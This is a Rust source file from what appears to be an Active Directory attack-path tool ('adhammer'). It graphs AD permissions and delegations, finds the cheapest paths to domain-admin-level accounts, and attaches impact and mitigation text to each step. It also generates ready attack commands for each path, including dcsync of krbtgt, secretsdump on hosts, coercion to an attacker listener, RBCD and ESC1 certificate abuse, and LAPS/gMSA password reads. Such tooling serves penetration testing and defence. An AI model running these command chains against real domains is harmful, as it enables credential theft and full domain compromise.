1use adhammer_core::sid::Sid;
9use adhammer_core::snapshot::Snapshot;
10use adhammer_core::AdObject;
11use petgraph::graph::{DiGraph, NodeIndex};
12use petgraph::visit::EdgeRef;
13use std::collections::HashMap;
14
15pub use ad_acl::{ControlPrimitive, SchemaMap};
16
17#[derive(Clone, Copy, Debug, PartialEq, Eq)]
20pub enum EdgeKind {
21 MemberOf,
23 Acl(ControlPrimitive),
25 AllowedToDelegate,
28 UnconstrainedDelegation,
31 SidHistory,
34 HasSession,
37 Coercible,
40 AdminTo,
43}
44
45impl EdgeKind {
46 pub fn weight(self) -> u32 {
48 match self {
49 EdgeKind::MemberOf | EdgeKind::SidHistory | EdgeKind::AdminTo => 0,
50 EdgeKind::Acl(p) => p.cost(),
51 EdgeKind::AllowedToDelegate
52 | EdgeKind::UnconstrainedDelegation
53 | EdgeKind::Coercible => 2,
54 EdgeKind::HasSession => 1,
55 }
56 }
57
58 pub fn name(self) -> &'static str {
59 match self {
60 EdgeKind::MemberOf => "MemberOf",
61 EdgeKind::Acl(p) => p.name(),
62 EdgeKind::AllowedToDelegate => "AllowedToDelegate",
63 EdgeKind::UnconstrainedDelegation => "UnconstrainedDelegation",
64 EdgeKind::SidHistory => "SidHistory",
65 EdgeKind::HasSession => "HasSession",
66 EdgeKind::Coercible => "Coercible",
67 EdgeKind::AdminTo => "AdminTo",
68 }
69 }
70
71 pub fn impact(self) -> &'static str {
73 match self {
74 EdgeKind::MemberOf => "inherits every privilege of the group",
75 EdgeKind::Acl(p) => p.impact(),
76 EdgeKind::AllowedToDelegate => {
77 "S4U2Self+S4U2Proxy impersonates any user to the allowed service"
78 }
79 EdgeKind::UnconstrainedDelegation => {
80 "coerce the target to authenticate here and its TGT is captured, then replayed"
81 }
82 EdgeKind::SidHistory => "access checks already grant the target's rights",
83 EdgeKind::HasSession => {
84 "a privileged logon session is live on this host — its TGT/credentials can be dumped"
85 }
86 EdgeKind::Coercible => {
87 "can be coerced to authenticate to an attacker listener, feeding an NTLM relay"
88 }
89 EdgeKind::AdminTo => "local administrator on the target — full control and secret extraction",
90 }
91 }
92
93 pub fn mitigation(self) -> &'static str {
95 match self {
96 EdgeKind::MemberOf => "remove the principal from the group",
97 EdgeKind::Acl(p) => p.mitigation(),
98 EdgeKind::AllowedToDelegate => {
99 "clear msDS-AllowedToDelegateTo; mark Tier-0 accounts sensitive and non-delegatable"
100 }
101 EdgeKind::UnconstrainedDelegation => {
102 "clear TRUSTED_FOR_DELEGATION, put Tier-0 in Protected Users, block the coercion RPCs"
103 }
104 EdgeKind::SidHistory => "clean sIDHistory after the migration and enable SID filtering",
105 EdgeKind::HasSession => {
106 "keep privileged logons off member hosts; enable Credential Guard; Protected Users"
107 }
108 EdgeKind::Coercible => {
109 "patch MS-EFSR/RPRN/DFSNM/FSRVP coercion and require SMB + LDAP signing"
110 }
111 EdgeKind::AdminTo => "remove the local-admin grant; deploy LAPS; enforce Tier-0 isolation",
112 }
113 }
114
115 pub fn executor(self) -> Option<&'static str> {
120 use ControlPrimitive as P;
121 Some(match self {
122 EdgeKind::MemberOf | EdgeKind::SidHistory => return None,
123 EdgeKind::AllowedToDelegate => {
124 "attack constrained --kdc <KDC> --realm <REALM> --account {from} --account-password <PASSWORD> --impersonate Administrator --target-spn <SPN-ON-{to}>"
125 }
126 EdgeKind::UnconstrainedDelegation => return None, EdgeKind::HasSession => "attack secretsdump --host {from}",
128 EdgeKind::Coercible => "attack coerce --host {to} --listener <ATTACKER>",
129 EdgeKind::AdminTo => "attack secretsdump --host {to}",
130 EdgeKind::Acl(p) => match p {
131 P::DcsyncGetChangesAll | P::AllExtendedRights => "attack dcsync --user krbtgt",
132 P::AddMember | P::AddSelfToGroup => {
133 "attack abuse --add-member --group {to} --member {from}"
134 }
135 P::ForceChangePassword => "attack abuse --set-password --target {to}",
136 P::WriteRbcd | P::GenericAll | P::GenericWrite | P::WriteDacl | P::Owns => {
137 "attack abuse --write-rbcd --target {to} && attack rbcd --target {to}"
138 }
139 P::WriteSpn => "attack abuse --add-spn --target {to} && attack roast",
140 P::ReadGmsaPassword => {
141 "attack gmsa --url <LDAPS-URL> --user <USER> --password <PASSWORD> --target {to}"
142 }
143 P::ReadLapsPassword => {
144 "attack laps --url <LDAPS-URL> --user <USER> --password <PASSWORD> --target {to}"
145 }
146 P::Enroll => {
147 "attack esc1 --host <CA-HOST> --domain <NETBIOS> --user <USER> --password <PASSWORD> --ca <CA-NAME> --template {to} --upn Administrator@<REALM>"
148 }
149 _ => return None,
152 },
153 })
154 }
155
156 pub fn command(self, from: &str, to: &str) -> Option<String> {
158 self.executor()
159 .map(|t| format!("adhammer {}", t.replace("{from}", from).replace("{to}", to)))
160 }
161}
162
163impl From<ControlPrimitive> for EdgeKind {
164 fn from(p: ControlPrimitive) -> Self {
165 EdgeKind::Acl(p)
166 }
167}
168
169#[cfg(test)]
170mod edge_tests {
171 use super::*;
172
173 #[test]
176 fn new_edges_are_fully_described() {
177 for e in [EdgeKind::HasSession, EdgeKind::Coercible, EdgeKind::AdminTo] {
178 assert!(!e.name().is_empty());
179 assert!(!e.impact().is_empty());
180 assert!(!e.mitigation().is_empty());
181 }
182 assert_eq!(EdgeKind::AdminTo.weight(), 0); assert_eq!(EdgeKind::HasSession.weight(), 1);
184 assert!(EdgeKind::Coercible
185 .command("bob", "dc01")
186 .unwrap()
187 .starts_with("adhammer attack coerce"));
188 assert!(EdgeKind::AdminTo
189 .command("bob", "srv01")
190 .unwrap()
191 .contains("secretsdump --host srv01"));
192 assert!(EdgeKind::HasSession
193 .command("dc01", "admin")
194 .unwrap()
195 .contains("secretsdump --host dc01"));
196 }
197}
198
199#[derive(Clone, Debug)]
200pub struct Node {
201 pub sid: Sid,
202 pub label: String,
203 pub tier0: bool,
204}
205
206pub struct ControlGraph {
207 g: DiGraph<Node, EdgeKind>,
208 by_sid: HashMap<String, NodeIndex>,
209}
210
211impl ControlGraph {
212 pub fn build(snap: &Snapshot) -> Self {
213 Self::build_with(snap, &SchemaMap::new())
214 }
215
216 pub fn build_with(snap: &Snapshot, schema: &SchemaMap) -> Self {
219 let mut cg = ControlGraph {
220 g: DiGraph::new(),
221 by_sid: HashMap::new(),
222 };
223
224 for o in &snap.objects {
226 if let Some(sid) = o.bin1("objectSid").and_then(Sid::from_bytes) {
227 let tier0 = is_tier0(snap, &sid);
228 cg.ensure(sid, label_of(o), tier0);
229 }
230 }
231
232 for o in &snap.objects {
234 let Some(dst) = o.bin1("objectSid").and_then(Sid::from_bytes) else {
235 continue;
236 };
237 cg.add_membership_edges(snap, o, &dst);
238 cg.add_acl_edges(o, &dst, schema);
239 cg.add_rbcd_edge(o, &dst);
240 cg.add_delegation_edges(snap, o, &dst);
241 cg.add_sid_history_edges(snap, o, &dst);
242 }
243 cg
244 }
245
246 fn ensure(&mut self, sid: Sid, label: String, tier0: bool) -> NodeIndex {
247 if let Some(&ix) = self.by_sid.get(&sid.to_string()) {
248 if tier0 {
249 self.g[ix].tier0 = true;
250 }
251 return ix;
252 }
253 let key = sid.to_string();
254 let ix = self.g.add_node(Node { sid, label, tier0 });
255 self.by_sid.insert(key, ix);
256 ix
257 }
258
259 fn node_for(&mut self, sid: Sid) -> NodeIndex {
260 self.ensure(sid.clone(), sid.to_string(), false)
261 }
262
263 fn add_membership_edges(&mut self, snap: &Snapshot, o: &AdObject, self_sid: &Sid) {
264 let me = self.node_for(self_sid.clone());
266 for group_dn in o.all("memberOf") {
267 if let Some(g) = snap
268 .by_dn(group_dn)
269 .and_then(|g| g.bin1("objectSid"))
270 .and_then(Sid::from_bytes)
271 {
272 let gx = self.node_for(g);
273 self.g.add_edge(me, gx, EdgeKind::MemberOf);
274 }
275 }
276
277 if let Some(rid) = o.one("primaryGroupID").and_then(|s| s.parse::<u32>().ok()) {
280 if let Some(dsid) = &snap.domain.domain_sid {
281 let mut group = dsid.clone();
282 group.sub_authorities.push(rid);
283 if group != *self_sid {
284 let gx = self.node_for(group);
285 self.g.add_edge(me, gx, EdgeKind::MemberOf);
286 }
287 }
288 }
289 }
290
291 fn add_rbcd_edge(&mut self, o: &AdObject, self_sid: &Sid) {
292 if let Some(raw) = o.bin1("msDS-AllowedToActOnBehalfOfOtherIdentity") {
294 if let Ok(sd) = windows_sddl::parse(raw) {
295 let target = self.node_for(self_sid.clone());
296 for ace in sd
297 .dacl
298 .iter()
299 .flat_map(|d| &d.aces)
300 .filter(|a| a.is_allow())
301 {
302 let src = self.node_for(ace.trustee.clone());
303 self.g
304 .add_edge(src, target, ControlPrimitive::WriteRbcd.into());
305 }
306 }
307 }
308 }
309
310 fn add_delegation_edges(&mut self, snap: &Snapshot, o: &AdObject, self_sid: &Sid) {
313 use adhammer_core::object::uac;
314
315 let me = self.node_for(self_sid.clone());
317 for spn in o.all("msDS-AllowedToDelegateTo") {
318 if let Some(target) = spn_host_sid(snap, spn) {
319 let tx = self.node_for(target);
320 self.g.add_edge(me, tx, EdgeKind::AllowedToDelegate);
321 }
322 }
323
324 if o.uac() & uac::TRUSTED_FOR_DELEGATION != 0 {
327 let dcs: Vec<Sid> = snap
328 .objects
329 .iter()
330 .filter(|c| is_domain_controller(c))
331 .filter_map(|c| c.bin1("objectSid").and_then(Sid::from_bytes))
332 .filter(|s| s != self_sid)
333 .collect();
334 for dc in dcs {
335 let dx = self.node_for(dc);
336 self.g.add_edge(me, dx, EdgeKind::UnconstrainedDelegation);
337 }
338 }
339 }
340
341 fn add_sid_history_edges(&mut self, snap: &Snapshot, o: &AdObject, self_sid: &Sid) {
343 let raws: Vec<Sid> = o
344 .all("sIDHistory")
345 .iter()
346 .filter_map(|s| Sid::parse(s))
347 .filter(|s| snap.by_sid(s).is_some())
348 .collect();
349 if raws.is_empty() {
350 return;
351 }
352 let me = self.node_for(self_sid.clone());
353 for sid in raws {
354 let tx = self.node_for(sid);
355 self.g.add_edge(me, tx, EdgeKind::SidHistory);
356 }
357 }
358
359 fn add_acl_edges(&mut self, o: &AdObject, self_sid: &Sid, schema: &SchemaMap) {
360 let Some(raw) = o.bin1("nTSecurityDescriptor") else {
361 return;
362 };
363 let Ok(sd) = windows_sddl::parse(raw) else {
364 return;
365 };
366 let target = self.node_for(self_sid.clone());
367
368 for grant in ad_acl::grants_with(&sd, schema) {
371 if grant.trustee_is_well_known() {
372 continue;
373 }
374 let src = self.node_for(grant.trustee.clone());
375 self.g.add_edge(src, target, grant.primitive.into());
376 }
377 }
378
379 pub fn paths_to_tier0(&self) -> Vec<AttackPath> {
385 use petgraph::Direction::Incoming;
386 use std::cmp::Reverse;
387 use std::collections::BinaryHeap;
388
389 let mut out = Vec::new();
390 for tix in self.g.node_indices().filter(|&i| self.g[i].tier0) {
391 let mut next: HashMap<NodeIndex, (NodeIndex, EdgeKind)> = HashMap::new();
393 let mut dist: HashMap<NodeIndex, u32> = HashMap::new();
394 let mut heap = BinaryHeap::new();
395
396 dist.insert(tix, 0);
397 heap.push(Reverse((0u32, tix.index())));
398
399 while let Some(Reverse((cost, raw))) = heap.pop() {
400 let node = NodeIndex::new(raw);
401 if cost > *dist.get(&node).unwrap_or(&u32::MAX) {
402 continue;
403 }
404 for e in self.g.edges_directed(node, Incoming) {
405 let src = e.source();
406 let kind = *e.weight();
407 let nc = cost.saturating_add(kind.weight());
408 if nc < *dist.get(&src).unwrap_or(&u32::MAX) {
409 dist.insert(src, nc);
410 next.insert(src, (node, kind));
411 heap.push(Reverse((nc, src.index())));
412 }
413 }
414 }
415
416 for (src, cost) in dist {
417 if src == tix || self.g[src].tier0 {
418 continue;
419 }
420 out.push(AttackPath {
421 principal: self.g[src].label.clone(),
422 principal_sid: self.g[src].sid.to_string(),
423 target: self.g[tix].label.clone(),
424 cost,
425 steps: self.walk(src, tix, &next),
426 });
427 }
428 }
429 out.sort_by(|a, b| a.cost.cmp(&b.cost).then(a.principal.cmp(&b.principal)));
430 out
431 }
432
433 fn walk(
435 &self,
436 src: NodeIndex,
437 dst: NodeIndex,
438 next: &HashMap<NodeIndex, (NodeIndex, EdgeKind)>,
439 ) -> Vec<Step> {
440 let mut steps = Vec::new();
441 let mut cur = src;
442 while cur != dst && steps.len() < self.g.node_count() {
444 let Some(&(to, edge)) = next.get(&cur) else {
445 break;
446 };
447 let from_label = self.g[cur].label.clone();
448 let to_label = self.g[to].label.clone();
449 steps.push(Step {
450 command: edge.command(&from_label, &to_label),
451 from: from_label,
452 from_sid: self.g[cur].sid.to_string(),
453 edge: edge.name(),
454 to: to_label,
455 to_sid: self.g[to].sid.to_string(),
456 impact: edge.impact(),
457 mitigation: edge.mitigation(),
458 });
459 cur = to;
460 }
461 steps
462 }
463
464 pub fn stats(&self) -> (usize, usize) {
465 (self.g.node_count(), self.g.edge_count())
466 }
467
468 pub fn direct_edges_to_tier0(&self, kind: EdgeKind) -> Vec<(String, String)> {
470 let mut out = Vec::new();
471 for e in self.g.edge_indices() {
472 if self.g[e] != kind {
473 continue;
474 }
475 let (src, dst) = self.g.edge_endpoints(e).unwrap();
476 if self.g[dst].tier0 && !self.g[src].tier0 {
477 out.push((self.g[src].label.clone(), self.g[dst].label.clone()));
478 }
479 }
480 out.sort();
481 out.dedup();
482 out
483 }
484}
485
486#[derive(Clone, Debug, serde::Serialize)]
489pub struct Step {
490 pub from: String,
491 pub from_sid: String,
492 pub edge: &'static str,
494 pub to: String,
495 pub to_sid: String,
496 pub impact: &'static str,
497 pub mitigation: &'static str,
498 pub command: Option<String>,
501}
502
503#[derive(Clone, Debug, serde::Serialize)]
504pub struct AttackPath {
505 pub principal: String,
506 pub principal_sid: String,
507 pub target: String,
508 pub cost: u32,
509 pub steps: Vec<Step>,
511}
512
513impl AttackPath {
514 pub fn render(&self) -> String {
516 if self.steps.is_empty() {
517 return format!("{} → {}", self.principal, self.target);
518 }
519 let mut s = self.principal.clone();
520 for st in &self.steps {
521 s.push_str(&format!(" → [{}] → {}", st.edge, st.to));
522 }
523 s
524 }
525
526 pub fn fully_executable(&self) -> bool {
528 !self.steps.is_empty() && self.steps.iter().all(|s| s.command.is_some())
529 }
530}
531
532fn spn_host_sid(snap: &Snapshot, spn: &str) -> Option<Sid> {
534 let host = spn
536 .split('/')
537 .nth(1)?
538 .split(':')
539 .next()?
540 .to_ascii_lowercase();
541 let short = host.split('.').next().unwrap_or(&host);
542
543 snap.objects
544 .iter()
545 .find(|o| {
546 o.all("servicePrincipalName")
547 .iter()
548 .any(|s| s.eq_ignore_ascii_case(spn))
549 })
550 .or_else(|| snap.by_sam(&format!("{short}$")))
551 .and_then(|o| o.bin1("objectSid"))
552 .and_then(Sid::from_bytes)
553}
554
555fn is_domain_controller(o: &AdObject) -> bool {
558 const SERVER_TRUST_ACCOUNT: u32 = 0x0000_2000;
559 o.uac() & SERVER_TRUST_ACCOUNT != 0
560}
561
562fn is_tier0(snap: &Snapshot, sid: &Sid) -> bool {
563 use adhammer_core::sid::rid;
564
565 if snap.by_sid(sid).is_some_and(is_domain_controller) {
568 return true;
569 }
570
571 let Some(rid) = sid.rid() else { return false };
572 if matches!(
574 rid,
575 rid::DOMAIN_ADMINS
576 | rid::ENTERPRISE_ADMINS
577 | rid::SCHEMA_ADMINS
578 | rid::ADMINISTRATOR
579 | rid::KRBTGT
580 | rid::DOMAIN_CONTROLLERS
581 ) {
582 if let Some(dsid) = &snap.domain.domain_sid {
584 let prefix = &sid.sub_authorities[..sid.sub_authorities.len().saturating_sub(1)];
585 if prefix == &dsid.sub_authorities[..] {
586 return true;
587 }
588 }
589 }
590 sid.identifier_authority == 5
592 && sid.sub_authorities.first() == Some(&32)
593 && sid.rid() == Some(rid::ADMINISTRATORS_BUILTIN)
594}
595
596fn label_of(o: &AdObject) -> String {
597 o.one("sAMAccountName")
598 .map(String::from)
599 .unwrap_or_else(|| o.dn.clone())
600}